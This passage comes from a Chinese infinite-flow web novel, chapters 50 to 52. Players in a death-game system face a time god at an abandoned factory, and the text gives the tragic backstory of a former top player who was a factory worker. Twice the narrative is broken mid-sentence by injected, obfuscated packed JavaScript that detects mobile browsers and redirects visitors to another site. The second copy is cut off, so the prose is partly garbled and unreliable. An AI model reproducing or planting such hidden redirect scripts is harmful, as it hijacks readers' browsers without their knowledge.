列车好似驶入深渊,要载着他们前往万劫不复的境地。 * “所以,这辆车有终点站吗?” 作为一只鹦鹉,安静显然不刻在元翎的基因里。 他还是问出了那个自己很想知道的问题—— “代号十不会设计一列‘永无止境’的列车,把我们永远困在这里吧?” 看得出,这只鹦鹉对被囚禁在副本里这件事有不小的阴影。 “不会。” 回答元翎的是段心慈。 “为什么这么肯定?” 元翎不解:“绿赛图斯已经搞出很多没下限的东西了。” 让玩家呕心沥血去为祂攻打小世界,用少得可怜的金币作报酬。 而绿赛图斯自己则高枕无忧坐享其成,啜饮着世界能量…… 最后那些世界像干瘪的饮料瓶,被随手扔进垃圾场。 荣耀、权柄…… 一切都属于时间,而时间要做的也很简单—— 继续施行祂的暴政。 “因为祂快死了。” 绿赛图斯靠汲取那些小世界的力量苟延残喘,不是秘密。 段心慈难得有闲心解释:“失去那些被称作剧场、副本的小世界,祂活不久了。” 元翎不可置信地看向段心慈。 就听眼前的青年继续道:“这是我第二次开启觐神宴。” “百万副本,我基本每场评级都是F-。” 当然,第一场副本,还有寰宇年除外。 只不过解释起来太麻烦,没必要详细谈起。 元翎知道评级F-,是和SSS+一样存在于传说中的等级。 如果说从时间手里拯救一个世界使其恢复正常,评级是SSS+…… 那么F-则是当之无愧的世界毁灭者—— 不说从小世界里汲取的力量,恐怕绿赛图斯连残羹剩饭都吃不上。 元翎咽了口唾沫:“……那,祢一共通关了几场啊?” 没有给毁灭过的世界计数这样变态的习惯,段心慈只报出一个模糊的数字: “大概一百四十多万场吧。” 如此庞大的数值,就算绿赛图斯拼了命地攫取新世界,也不足以填满那些已经被消耗掉的能量。 好在有玩家比段心慈本人记得更清楚。 “明明是一百四十五万九千九百七十二场……” “还有五万九千九百七十二场呢?TOP。”【匿名】懒洋洋的声音响起。 艾里门·歌德惊悚地看了这人一眼。 她还以为除了自己,不会有别的玩家做这么无聊的事情呢! 元翎看段心慈的眼神瞬间变了。 不再是看一个可交好的、和自己同样是玩家首席的代号十受害者。 那是看怪物、疯子以及变态杀生狂魔的眼神。 理智告诉元翎: 那些副本世界已经在时间的暴政下沦为丧尽良知的废墟。 哪怕只是最无害的NPC手上也一定沾满鲜血,道德泯灭。 他们并不无辜。 甚至自己的伙伴也接连陆续死在那些邪诡的世界里。 但仅仅是知道,和这位灭世魔王就和自己坐在同一节车厢里…… 完全是两码事啊! 元翎欲哭无泪。 他倒也不是一场F-也没打出过。 但面对那个的结局,这只鹦鹉整整一晚上没有睡好觉。 早该知道! 群聊名字都这么变态的一届,领头TOP.1哪能是什么好相与的…… 正这样想着,桌面上属于穆格罗的手机震动着响起。 同一时间,其余玩家也收到系统发在群聊里的消息: 【我要把你们剁成腻子涂墙(9)】 [于下一站下车,并在傍晚时分前往废弃工厂#坐标] [你们会喜欢,接下来……发生的一切。] 50.彼此都再无退路 坐在餐桌前的玩家冷笑一声,开始打字—— 【匿名】:依旧自我感觉良好。 【匿名】:有空多照照镜子,看看自己什么货色! 系统:……呵呵。 不管系统自我感觉究竟如何,玩家们还是在傍晚时分,也就是第四日下午18:33,抵达坐标点。 一座表面几乎完全被爬山虎覆盖的方体废弃建筑。 自下向上望去,每一扇窗户外都被铁栏杆紧紧封锁。 外墙年久失修的斑驳墙漆增添几分阴森狰狞。乍一瞧,像某种畸形异教邪派的艺术灵感涂鸦。 “……” “它最好里面没有藏起一座监狱。” 忒尼斯·厄洛诺斯刻薄评价。 艾里门·歌德难得没有反驳她,打量起这栋建筑:“……我觉得会更糟糕。” 就在这时,垂直于地面的卷帘铁门缓缓抬起。 一个身穿工作制服的人向他们走来。 在看到门口这群身穿黑白相间横纹狱服,举止怪异的‘人’后,工作人员兴冲冲地向玩家们跑来—— “你们就是来我们工厂无偿打工的人?” “快跟我走吧。” “我已经报警了,再不走警察就要来抓你们了!” 【匿名】听到这句话愣了一下。 等反应过来对方究竟说了什么后,他一把推开身旁昏昏欲睡的波绪拿,二话不说照着那人的下巴就是一招上勾拳。 “好啊!你居然敢暗算我!” 说罢他跨坐在那人的身上,抬手一个耳光抽上去。 又慊不够,他又速度极快地连抽了对方六、七十个耳光。 那人的脸瞬间肿老高。(但也仅仅是如此了) 由此可见,【匿名】的力气真的很小。 换做在场任何其他玩家,早在第一个巴掌的时候,对方的颅骨和脊柱就分家了。 “……勒布要打了!!布要打了!” 工作人员连连求饶。 【匿名】皱眉,停下手中的暴行。 他恶意满满地盯着地上的人,随后站起身。 不是听取对方的意见,而是由远及近的警笛已经嘹亮到无法忽视的地步。 像使拖把一样拎起地上工作人员的手臂,【匿名】快步跟上大部队的脚步,向卷帘门走去—— “你们为什么不等我?” 他愤怒地质问。 “不是不想等你。” 【生者】回过头叹息一声:“但我们长了腿就是用来走路的啊。” 嘉里亚·涅挪还有后半句话没说—— ‘况且你这不是自己跟上来了吗?’ 他到底是不想面对【匿名】喋喋不休地纠缠,于是选择缄口不言。 铁门落下,隔绝外界黄昏的最后一丝光亮。 * 见玩家们尽数进入工厂,系统声音也随之响起: 【第五幕-权力至上】 【败者的墓碑,集荣耀与背叛于一身。】 【剧场任务:权力与荣耀是最华美的裹尸布。1】 【支线任务:有的灵魂生而为王,有的灵魂野心勃勃。】 【坚守荣耀或干脆成为一名僭越者?】 “你知道吗。” 谢挽非失望摇头:“但凡这里装修的华美一些,我都不至于毫无兴趣。” 她根本不关心这座破落工厂的继承权。 时间的意图十分明确,让祂们在这里就相互残杀。 如果能顺便杀死玩家首席就再好不过。 这还只是第五个副本。 绿赛图斯打破祂过去钟爱的,背叛往往发生在黎明前的仪式。 ‘选择直接将背叛提前到第五幕……’ ‘是忌惮,还是另有谋算?’ “所以上一次,你们最后是怎么解决的?” 【摇篮】捏着手里的毛绒睡帽,声音慢得如同呓语。 “我们这里,只有……是上一次…的成员。” 省却未尽的话语,被其余玩家自动补全: 现在一行玩家里,只有段心慈和忒尼斯·厄洛诺斯是上回觐神宴的成员。 一年前的觐神宴,参与者足有十五人。 即便在后续的一年时间里,陆续奔赴死亡,但当时确实是活了下来。 “你很想知道?” 忒尼斯面色扭曲一瞬。 波绪拿眼下挂着两团大大的黑青,木讷地看着忒尼斯:“……也不是很感兴趣。” 识时务者为俊杰。 她还不想这么快走到TOP.3的对立面。 “其实也没什么大不了的。” 忒尼斯‘友善’地拍了拍波绪拿瘦弱的肩膀,力道之大让【摇篮】向前趔趄了两步。 “当时是最后一个副本。” “内讧、猜忌、一丝一毫的不信任,都会导致全军覆没。” 厄洛诺斯大概会永远记得段心慈那一刻看向他们的眼神—— 冷漠,带着杀意。 那不是看同伴的眼神。 在那双眼睛里,祂们都是猎物。 电锯被玄发青年毫无犹疑地拉动,沉闷悚然的高速轰鸣响彻第十幕。 忒尼斯突然就明白: 哪怕祂们已经在一起合作通关了9个副本,段心慈对身边的同行者依旧毫无信任可言。 这是正确的。 因为那个时候的所有玩家,包括自己在内,都在绿赛图斯的蛊惑里……决定背叛祂们的首席。 无可厚非的,最终败于实力不济。 …… 系统商城里百分百触发的复活卡,一张价值三万亿金币。 十四张就是四十二万亿金币。 强制签收外加十四亿金币的手续费,也就是四十二万零14亿金币。 忒尼斯现在想起来甚至会觉得有些好笑。 段心慈给他们每个玩家都买了张强制签收的复活卡。 然后就像闯入羊群的猎豹一样,毫不留情地展开单方面屠杀。 那个场面,多少有些幽默。 一群背叛者对战孤身奋战的TOP榜首席,毫无还手之力。 ……怎么看怎么好笑。 血花飞溅,几乎是眨眼的功夫,段心慈就已经拎着电锯,站在了忒尼斯的面前。 厄洛诺斯耳边是机械锯齿运转的轰鸣,她下意识摸向脖颈。 粗糙的缝合工艺昭示着她的头颅曾染上尘埃。 出于不想让自己的脑袋再掉一次,忒尼斯缓缓举起双手:“我退出。” 在电锯即将要将自己的脑袋与身体切离前,狐蛇断颈自裁了。 这是段心慈第一次砍空。 颈骨被自己亲手扭断的滋味并不好受。 不过,一想到那双墨灰色的眼睛里出现茫然的神情,忒尼斯就觉得有些好玩—— ‘狩猎失败了啊,TOP.1。’ 波绪拿听完忒尼斯的阐述,深感离奇。 但又确实是段心慈会做出来的事情。 她知道这次想要故技重施是不可能了。 首先这里对于段心慈来说不是最后一场副本,出现最终胜利者就自动通关。 其次,祂们当中任何一个玩家有牺牲自己造福团队的觉悟。 最后,她不想死。 至少现在,她绝对不能死。 “这回,你还会自裁吗?” 波绪拿反问忒尼斯。 “不会。” 狐蛇觉得自己被【摇篮】冒犯了。 ‘哪有玩家隔三岔五就自裁的?’ 况且这一次。 她有预感…… 时间不会再让祂们使用复活道具了。 祂们只能向前,或死在向前的路上。 没有退路。 段心慈同样想起上回觐神宴的最后一场副本。 她知道自己不能输。 不能死在明晃晃的背叛里。 电锯拉动的时刻,灵魂是麻木的。 空气里,黏重的血腥调动躯体与意志。 那一刻,眼前不再是活生生的灵魂,而是…… 需要执行死亡的对象。 五颜六色的、质感迥异的血液飞溅,如同一盘在慌乱中被打翻的颜料盘。 荒谬与怪诞掺杂的景色映入眼底,胃部好像被无形的手掌握紧,难抑制的呕吐感反上喉咙。 年轻的半神感到反胃,却到底是没有吐出来。 意识仿佛处于现实与噩梦相交的边缘。 比绝望先一步占据上风的,是兴奋,以及对鲜血的渴望。 杀。 恍惚间祂对上一双憎恶与狂热黏连的眼瞳。 下一刻,【匿名】的身躯仿佛烟火炸开,瞬间消散在她眼前。 烟花燃烧前,那张淡色僵硬的唇对段心慈咧开一个充满恶意的笑容。 “TOP.1,我们,下次见。” 他在轰鸣的电锯即将撕裂自己前,绚烂退场。 看见【匿名】炸成烟花的忒尼斯·厄洛诺斯神色扭曲—— ‘没记错的话,进副本前一天就是这个家伙一直在撺掇他们叛变吧?’ ‘这个关头自裁?’ ‘【匿名】,可真有你的。’ 在被段心慈的电锯撕碎和同样自裁的唯二选项中,忒尼斯·厄洛诺斯仅用0.01秒做出选择。 是以段心慈砍向自己的时刻,狐蛇二话不说选择自我了结。 笑话,他们还在大荧幕上实时直播呢。 比起被TOP砍掉脑袋,她更想退场得体面些。至少不能比【匿名】逊色。 两次砍空让玄发青年动作有一瞬不可避免的滞涩。 也就是在这空当,沉重的黄金权杖从后方以雷霆之势狠戾砸下。 是TOP.2【主教】。 段心慈瞬间避开,闪身至【主教】身后。 【主教】只觉眼前黑影一晃,青年消失在他的视野中。 祂的速度很快,按理说会产生音爆。 但,没有。 一切都像是按下了静音键。 无声且致命。 【主教】能感到自己被一道毛骨悚然的视线锁定,老人浑身僵硬动弹不得。 轰鸣的电锯将【主教】从中间精准地一分为二。 深蓝色的血在空中悬浮一瞬,随后重重砸向地面。 段心慈踢开碍事的黄金黑曜石权杖。 此时她身边已经空无一人。 拭去唇角溢出的鲜血,青年喉间爆发出类似野兽低沉压抑的咆哮:“时间——” “绿赛图斯!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520242|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滚出来!” 时间当然不会真的‘滚’出来。 但祂确实出现了,在段心慈面前。 完全神祇的恐怖威压,让周围空间都扭曲出怪异的弧度。 彼时段心慈还只是半步真理。 而这一任的时间之神,已经是不知道活了多少亿万年的老怪物。 青年无论从实力、阅历,对上绿赛图斯都如同蚍蜉撼树。 ‘……无可撼动。’ 这是他见到时间真身的第一个念头。 绝对的实力。 如果不是时间碍于规则不能亲自向半神出手,恐怕在第一个照面段心慈就会死无全尸。 但段心慈清楚,时间见到他的第一面没有杀死他。 绝对不是因为不想。 而是祂不能。 祂不能杀死眼前这只觊觎自身性命的蝼蚁。 而在之前有过的几次交锋中都证明了段心慈的猜测。 青年仅作试想,都觉得时间被自己膈应得不轻。 静默。 和死亡带来的极致静默不同。 时间的安静在于你知晓祂的存在。 而祂的流逝,本身就是一种恐怖。 这就是不可辩驳的真理之一—— 时间。 银白,无机质的虹膜,眼底流淌着金沙。 蔑视。 那是对一切寿命有所终结的、活物的蔑视。 绸缎般的银发让祂看上去更加不可侵犯。 半透明的宽大银绸宽松缠绕在神祇完美无暇的身躯上。 段心慈感到自己的骨骼在时间的威压下咯吱作响,发出刺耳的声音。 有声的压迫仿佛在讥笑他螳臂当车,不自量力。 ‘我不能退。’ ‘更不能功亏一篑。’ “祢就是代号十的主神?” 段心慈阴鸷的目光投向神祇:“……祢的裹尸布好差劲。” 看似轻松的话题。 空间里仅剩的两个灵魂都知道,深色风衣下的躯体已经全力紧绷,犹如一张箭在弦上,蓄力拉满的弓。 绿赛图斯居高临下讽笑:“把棺材穿身上,是做好死亡的觉悟了。” 段心慈:“……” 赛前互骂环节,败绩可查。 从没赢过。 “安于现状不好吗?” 时间主神姿态冷漠:“与神祇为敌,不是明智的决定。” ‘安于现状?’ “是指给代号十打一辈子工,侵略其他世界的安于现状?” 那双晦暗的眼中,怒火燃烧成为永不熄灭的决心。 “祢根本无法掩盖那些所谓副本、剧场,它们应该是独立世界的事实。” 这句话脱口而出的瞬间,青年愣了一下。 她想起那个…… 自己诞生,又为之战死的世界。 ‘……我好像随口说对了什么东西。’ 如果真是如此,这一趟就更加要走。 不管是为了【长生】,还是为了…… 她的世界。 时间眼帘半阖,手指轻敲神座扶手。 四周景色发生巨大转变—— 庞大的机械建筑群拔地而起,人造恒星发出足以刺痛眼球的光芒。 过往记忆被无声无息地剥离。 彻底忘却前,长发青年听见时间空旷到磅礴的声音—— “祢若执意如此,就去亲眼见证那个由你力挽狂澜的世界。” ‘然后……’ ‘陪着你的世界一起腐烂罢。’ 同多数玩家知晓的那样,时间自知力量无多。 但…… 一个曾经被祂大肆侵略过,现今没有主角支撑,世界意识年龄不过区区千年的世界…… 稍加蛊惑,收为己用简直再轻而易举不过。 亿万年时光飞逝,绿赛图斯生平第一次不想正面对上一位对手。 祂知道,但凡放任段心慈走出代号十…… 下个瞬间,祂需要面对的就不再是稚嫩、毫无威胁可言的两重半步真理。 而是处在全盛时期的战争与胜利之神。 时间的主神无惧战争…但胜利…… 将死去的青年拉进代号十,为的是不在千年前就死于新晋的胜利之神手中…… 但祂万万不曾想过,段心慈在时间里领悟死亡。 至此,一步错,步步错。 命运的魔盒在#07世界里被打开的时刻,祂的性命却也如风中残烛摇摆不定起来。 ‘退缩……真可笑。’ 祂什么时候也会有这种心绪了。 “时间的主神,应该不需要我特别提醒祢。” 时间之灵冷漠无比:“祢没有后悔的权力。” 绿赛图斯犹如一尊苍白的雕塑,静默在祂的王座上,久久不语。 仿佛过去一个世纪那么久,又好像不过短短一秒—— 祂干涩的嘴唇终于吐出两个词:“没有。” “我没有后悔。” “没有后悔就好。” 几乎是在下一秒,时间之灵讥笑的声音回荡在神殿里:“毕竟,那条疯狗已经回来了。” “而祢,我亲爱的主神!” “思考这个问题思考了整整一年。” 51.预言难明断送我 “一年!” “祂世界的二十一年啊!哈哈哈哈哈——” 犹慊不够,时间之灵继续刺激绿赛图斯:“忘了告诉祢,段心慈达成了祂唯二的完美结局。” “无冕之王。哈哈哈哈哈哈哈,居然是无冕之王。” 时间之灵快笑吐了:“祢知道完美结局是什么的,对吧。和那些F-一样!祢根本没资格插手。” “祂哈哈哈哈哈……祂不能和祂的世界一起烂掉了。” 完全不掩饰自己对绿赛图斯的厌恶,灵的声音几乎没有停下来过。 “现在看来,住在棺材里的要另有其神了哈哈哈哈哈哈哈哈哈哈。” 尖利放肆的笑声充斥整座神殿。 神座上,绿赛图斯抱膝,头颅低垂一言不发。 长长的银发垂落,遮盖住那张漂亮的面容。 时间之灵隔三岔五就要发疯。 从一开始感到羞辱,背叛,到现在祂已经能坦然接受。 绿赛图斯知道,它后悔。后悔当初和自己捆绑。 ‘但那又如何?’ 祂们注定要死在一起。 时间的主神和时间的真理就像一对人间怨偶—— 要相互折磨,要鲜血淋漓。 直到走进最后的死亡里。 * 将脑海中属于过去的回忆打散…… 绿赛图斯饶有兴致地注视着身处困境的段心慈。 ‘这一次,祢会怎么做?’ 要知道,顾屿也在这里。 ‘祢要背叛和那只黑猫的约定了吗?’ 一旦牵扯到【预言师】,T.T-Carro绝不是段心慈能肆意背叛、糊弄的对象。 借【暴食】的诅咒除掉段心慈,是目前可行性最大的做法之一。 青年不清楚时间的具体筹谋,但她知道绿赛图斯已经走到绝境,将背叛提前…… 只会是反击的手段之一。 “所以…如果我们现在没有背叛TOP的想法,就要开始打螺丝了,是吗?” 嘉里亚凑到维莉亚耳边小声问:“姐姐,你会打螺丝吗?” 【死者】神情狰狞一瞬,她怎么就摊上这么个玩意。 “我会,但我们也不会真的去打螺丝。” 嘉里亚遗憾地‘哦’了一声。 “不打螺丝就去死哦。” 一名坐在流水线前,安装古怪机械的工人幽幽开口。 这人转过身,一头及肩的漆黑直发,额前整齐的发丝刚好与眉毛齐平。 螺丝刀在青年手里被挽出一个剑花,虚虚点在桌面上:“这是第8799个螺丝,你们也要……?” 倏地,她顿住了。 ‘这木雕?!’ 黑瞳青年目光死死落在一人手腕上的吊坠:‘是顾小鱼?’ “顾屿。” 段心慈试想过很多和这位前TOP.1的见面方式。 或许剑拔弩张,或许心平气和。 但她没想过…… 会是这样别具一格。 眼前这位前任TOP.1,真的在很认真地打螺丝。 【预言师】微微抬眼看向精准喊出自己名字的人—— 青年个子不高(顾屿身高197cm),玄色长发披在身后。眼中是三重真理持有者应存的威压…… 至于气质……活像刚参加完葬礼。 但这些都不重要。 对方系在手腕上,显眼的小鱼吊坠是顾屿唯一在意的物件。 ‘……顾小鱼。’ 段心慈顺着顾屿的视线也看到了那枚木雕。 脱下吊坠扔进顾屿怀里,青年声音冷淡:“物归原主。” ‘物归原主吗……’ 这位前届玩家首席的视线陡然变模糊了。 交错的光影里,黑猫凄厉的哀鸣犹在耳畔。 她与它各自囚禁三百年时光,依旧不曾消磨那份情感。 “……它…” ‘还好吗……’ 仅一字出口,顾屿再也说不下去了。 眼眶里晃动的泪水砸在木雕上。 她的小猫没了人照顾,怎么可能过得好…… 段心慈知道顾屿未尽之言,答:“没有你,它不好。” ‘不吃不喝三百年,睡醒了就给尸体办葬礼。’ ‘整只猫都瘦成骷髅架子。’ “T.T-Carro托我找到你,带你回家。” 顾屿目光温和:“……它很喜欢你。” 知道自己的小猫没有一蹶不振……还认识了新朋友。 那一刻高兴多过酸涩。 * 没进代号十前,顾屿是坐标某三无修仙界,大厂的流水线工人。 就这还是家里托关系才勉强进的。 每个月的收入是微薄的2200绿灵石。 黑发青年家中还有两个年龄接近被拉去大宗门当花肥的姐姐。 下头有三个吃稀释玉米糊,等待入赘名门世家的弟弟。 有时候她觉得自己和那些被打的螺丝没什么两样,有时候她觉得这些螺丝要比自己来得幸福得多。 至少螺丝不用付费上班,也不用每天24小时里工作至少10个小时或更久。 螺丝不用和领导玩人情世故那一套,也不需要卑躬屈膝,阿谀奉承那些自己看不懂的灵魂。 顾屿每天早上六点半起床,七点准时打卡上班。 打卡迟到扣工资,工作期间与同事交流也扣工资。 12点准时开饭,用餐时间只有可怜的30分钟。没有超时的机会。 如果非要超时呢?更要扣工资。 不出所料,打螺丝期间去洗手间是要打报告的,也是要计时收费的。 超过5分钟就从工资里扣钱,扣多少取决于老板当天的心情。 好在午餐相当丰盛(顾屿认为),两张配方保密的薄机油饼。 还有一碗核水葱花汤。 顾屿喜欢啃机油饼子,但是她对黑得五彩斑斓的葱花汤无感。 下午1点重新回到车间开始又一轮拧螺丝,拧到晚上六点整。 这并不是结束,因为接下来还有一轮无偿加班。 至于加到几点…… 别管。领导有自己的节奏。 顾屿不需要,也不应该动脑筋思考这些。 工厂采用半终身卖身契制度。 打工没满30年前,员工没有主动辞职只有被动开除。 就这样,时光飞逝,如月如梭—— ……其实也没有那么快。(因为苦日子总是度日如年) 顾屿在20岁那年已经拥有11年工龄与丰富的打螺丝经验,新员工见到她也要尊称一声前辈。 厂里的领导换了一批又一批。 但顾屿已经是颇有资历的老员工,抛开特殊情况没有谁会轻易得罪她。 2200绿灵石的微薄月薪也涨到了3000绿灵石。 顾屿很满意。 至少她在努力欺骗自己,她真的很满意。 黑发青年甚至计划好:按照自己现在的储蓄,只要再雷打不动地工作30年…… 到她50岁那年就能够功成身退,带着自己这些年省吃俭用的全部积蓄养老。 运气好甚至能买通些关系,拜入一个小宗门。 万一她也能修仙呢? 人活着总得有个盼头。 顾屿躺在被窝里,盯着员工宿舍顶部,裹着厚厚一层焦油的潮湿天花板。 好吧,她认命。 其实修仙什么的……还是离她太远了。 比起万寿无疆,威赫四方……自己更想养一只猫。 想到猫,顾屿脸上不禁露出一抹微笑。 没有人会想到小猫不会笑。 顾屿自认她只是一个凡人,当然抵抗不了猫的魅力—— 毛茸茸的身躯,四对漆黑的复眼。 灵活的耳朵长在僵硬、外显的爪关节骨刺上…… 总之,如果说顾屿有什么最大的愿望,那就是拥有一只猫。 她们会依偎在一起帮助彼此舔舐伤口,度过每个难挨的日子。 难过的时候抱住猫,只要把眼泪擦在猫身上,就不会有人看到她狼狈的样子。 不幸的是,顾屿没能活过21岁。 更无从谈起拥有一只猫。 当头一回滚烫的血从她鼻腔里不断涌出,顾屿感到有些慌乱。 青年安慰自己只是一时虚弱,以后不要挑剔葱花汤就好。 她不知道,工厂给她的饭量甚至不够喂饱一条普通人家的看门犬。 更不知道,那些机油饼子和葱花汤是除了过度劳累外,真正要她命的东西。 顾屿9岁起就进厂打工,和打螺丝的经验相比她的生活常识简直少到可怜。 鼻血从一周一两次到几乎每天都在淌,只经历了短短六周。 顾屿已经习惯去仰起脑袋,戴上口罩,试图让那些源源不断涌出的血液回到自己的身体里,不让它们流失。 血肆无忌惮离开身体的样子让她害怕、发抖、失温。 但顾屿不知道这样做会得肺炎、脑膜炎。又或者气道窒息。 她不知道。 她只是想省下来的钱足够自己过完安稳,有希望的下半辈子。 炎症和窒息没有先行找上门。 但她开始吐血了。 一开始只是嗓子发痒、发干。 甜腻腻的腥味萦绕她的喉咙,让她吃不好也睡不好。 那天厂里加班到凌晨5点,工人们难得在第二天拥有半天假期。 顾屿实在受不住像呛了烂柳絮一样折磨自己的喉咙。 她单手撑在狭窄满是霉斑的水槽边缘,另一只手拿起牙刷去压自己的喉咙。 脏兮兮的,满是水垢和霉点镜子里是她深红的口腔、喉管…… 一阵难挨的呕吐感涌上,伴着诡异的腥甜,顾屿不受控制吐出一大口血。 多数血液都顺着潮湿泥泞的下水管道流走。 顾屿想捞也捞不着。 只能眼睁睁地看着自己的室友打开水龙头,把那些挂在水槽壁上的血冲走。 黑发青年难以置信地回头看向自己的一号室友,仿佛对方做了什么天恨人怨的事儿。 “吐出去的血,脏了。” 一号语气平淡。 顾屿难过地吸吸鼻子,结果鼻血又流回嗓子里,被她下意识咽进去。 顾屿:…… 她可能、也许、大概、真的、快死了。 意识到这点的顾屿内心无措且茫然。 好像有什么千钧重的东西压着她的胸,她的胃。 狰狞地啃食着她的大脑、骨髓,逼迫顾屿面对这鲜血淋淋的现实。 她几乎是下意识抱住冰冷的水槽,颤栗地又呕出一大摊血。 旁边的二号室友见怪不怪地顺了顺她的后背,什么话也没说。 她们都习惯顾屿没什么常识,也不聪明的样子。 每天嘴里神神叨叨地念些什么:猫养人,人养猫之类…… 前言不搭后语的车轱辘话。 顾屿很努力也很认真。室友们当然也看在眼里。 但这个世道又不是认真努力就能活下去的。 她们只能让顾屿自求多福。 毕竟…… 没有举报顾屿患病,让工厂把她送进隔壁疾病加工厂,已经是她们唯一能做到的。 仁至义尽了。 顾屿也知道。 所以她更加小心翼翼地隐匿自己。 工厂里最近都在传:顾屿越来越看不起工友了。 不仅戴口罩,不跟人讲话装高冷,走路每时每刻都抬着头,恨不得用下巴看人。 简直其心可诛! 顾屿自己也不想的,但她更不想把血滴滴答答弄得到处都是。 开除是小,连累了自己的几个室友是大。 不对……开除…… 顾屿灵光一现。(这是极不容易的。很少有人能在经历11年□□+精神磋磨后还能灵光一现。) 如果惹怒领导是门技术活,顾屿已然登峰造极。 毕竟一个明哲保身,从不表态也不站队的老员工(在封建君主制工厂里)任谁看了都同眼中钉,肉中刺一样。 是以当下午领导来车间巡查的时候,顾屿恶向胆边生: 她装作一无所知,万分不小心地将从中午饼子上挂下来的机油蹭在领导价值不菲,成色极佳(至少领导自己是这么说)的佩玉上。 没办法,她只能做到这样了。 做过了要被扣上一顶精神紊乱的帽子,仍然要被送去疾病加工。 疾病加工厂不是个好地方。 进去的时候是顾屿,出来的时候变成屿顾也不是没可能。 况且以她现在走两步路就全身乏力虚脱的体能,就算想搞大动作也搞不出。 领导悠哉游哉地绕着场地逛了一圈。 等他发现玉佩上刺目至极的机油,凑近甚至能闻到一股低贱疾病饼子味儿的时候,情绪彻底爆发了。 男人愤怒地冲进监控室,发誓要查清玷污自己玉佩的罪魁祸首。 当看清顾屿的小动作时冷笑一声,旁边的监控室看守被他狰狞的笑吓得抖了三抖。 领导正愁如何把这个不听话的员工处置,毕竟顾屿也算是有点资历的老员工。 送上门来的机会,错过才是傻子。 当天下午三点,顾屿正在拧今天的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不可能!我打了整整11年的螺丝!” 她睁大眼睛。 青年是标准的黑发黑眼。 那双眼珠并不会因为光线原因变成漂亮的琥珀棕,因此睁大时常常透着一股摄人感。 毛躁的头发贴在冷汗涔涔的面颊两侧,无比狼狈。 领导见此挑了挑眉。 他指着地上那颗掉下来的小螺丝钉不紧不慢,抑扬顿挫地开口:“员工手册第1744条:禁止遗弃螺丝。” 顾屿几乎是像恶作剧日的弹簧小丑一样跳起来,将那颗小小的螺丝钉恭敬地放到操作台上。 领导笑了。 顾屿也跟着笑。 尽管她觉得反胃,并且呕吐的欲望越来越强。 “员工手册第1745条:禁止损坏螺丝。” 领导看顾屿的眼神带着猫抓老鼠的戏弄:“这枚螺丝钉摔在地上,尽管表面上看不出…… 他居高临下地宣判:“它已经被磨损了。” “顾屿,你一颗灵石也得不到。” “现在,收拾东西滚吧!” 顾屿忘记她具体是怎么和那头牲畜发生争执的了。 她模模糊糊地记得自己像条呲牙咧嘴的野狗一样冲上去。 被病血浸透不知道多少回的口罩被她塞进那张趾高气扬的嘴里。 不知道哪来的力气,青年剧烈喘息着侧身撞去。 尽管营养不良,但顾屿并不矮。 身高184cm的骨架重量加上惯性,让毫无防备且追求瘦弱美的领导趔趄着被撞倒。 顾屿跪爬着膝行上前—— 在男人惊恐至极的目光下,她手里的螺丝刀高高举起扎穿对方松软的喉咙。 温热的,不属于她的血淌溅在脸上,顾屿下意识舔舔嘴巴。 “呸!” “呸……呸呸!” 顾屿觉得更恶心了。 没等她站起身,后脑勺陡然传来一阵剧烈的疼痛。 视线骤然暗下,黏腻的温热从后脑涌出。 意识陷入黑暗前,她看见的面孔不属于还在独自哀嚎的领导,而是手里拿着铁棍的三个室友。 二号室友的棍子上沾了她的血。 “对不起……” 顾屿听到她们在讲话,声音像隔着水波听不真切。 “领导……” “是我们没注意她患了病。” “……” 理智告诉她这是正确的选择。 顾屿在心底安慰自己,室友们对自己确实算得上仁至义尽。 再睁眼时,青年浑身发冷地蜷缩在地上。 她哆哆嗦嗦地爬起来,自己没有被送进加工厂…… 她活下来了?! 【这里是无限·代号十·回廊神座】 顾屿没听说过这个名字,但不耽误她觉得这个名字很气派。 【欢迎来到——新人的坟墓!旧人的葬礼!蝼蚁的狂欢会!】 【初始登录即赠上吊麻绳*1】 代号十系统还在喋喋不休,它理所应当地认为顾屿会对重获新生这件事感恩戴德。 但顾屿已经握紧了手里的螺丝刀。 她听出对方和领导如出一辙,明晃晃的高高在上。 * 第一次通关副本的无疑是狼狈的,但生死存亡的危机感激活刻在骨骼里的本能。 百年时光,无数鲜血和背叛浸透她,铸就成拥有铁血手腕的狼王。 TOP.1【预言师】终于不再是谁都能踩上一脚的落水狗。 可惜成也狼王,败也狼王。 她不需要友情、爱情,唯独忠诚二字对她必不可少。 代号十轻而易举地许下最低贱的诺言。 于是狼王众叛亲离,陷入孤立无援的境地。 她走在队伍的最后,看不见同伴面孔上的背离之意。 到最后,顾屿身边只剩顾小鱼—— 一只在三十年前被青年从数百位玩家围攻中救下后一直带在身旁,身负诅咒之力并以副本BOSS为食的黑猫。 终局里,她只能咬紧牙关将黑猫送出副本,连带自己的预言之灵一起。 强行剥离真理灵的痛苦不亚于抽筋剥皮。 顾屿眼中淌下两行血泪。 这一次她不再害怕失血。 她只要顾小鱼活下去。 这就够了。 “顾小鱼,不要复仇。” “顾小鱼,活下去……还要平安幸福。” 副本关闭,顾屿的视线被彻底隔绝—— 她耳边最后听见的声音,是黑猫凄厉悲绝的惨叫。 ‘顾小鱼啊…对不起……’ 【预言师】咽下喉间翻涌的血液:‘…剩下的路……’ ‘要猫自己走了。’ 52.拯救世界的概率 此时此刻,顾屿转抬头望向站在自己面前的长发青年。 “小鱼…它大概是希望……我们能友好相处。” 话语间是毫无保留的善意。 进代号十这么久,段心慈听过太多充满恶意的话。 也不是没有玩家和她说过携手共进之类的话,但最后无一不是走到了对立面。 是以第一时间她没能说出什么回应的话。 见青年站在这里不动,顾屿从怀里掏出一张饼子,热情地塞在她手里:“我请你吃薄饼。” 段心慈下意识接过:“?” 手里坚硬冰凉的触感让她有些语塞:‘……薄饼?这根本就是秤砣吧!’ 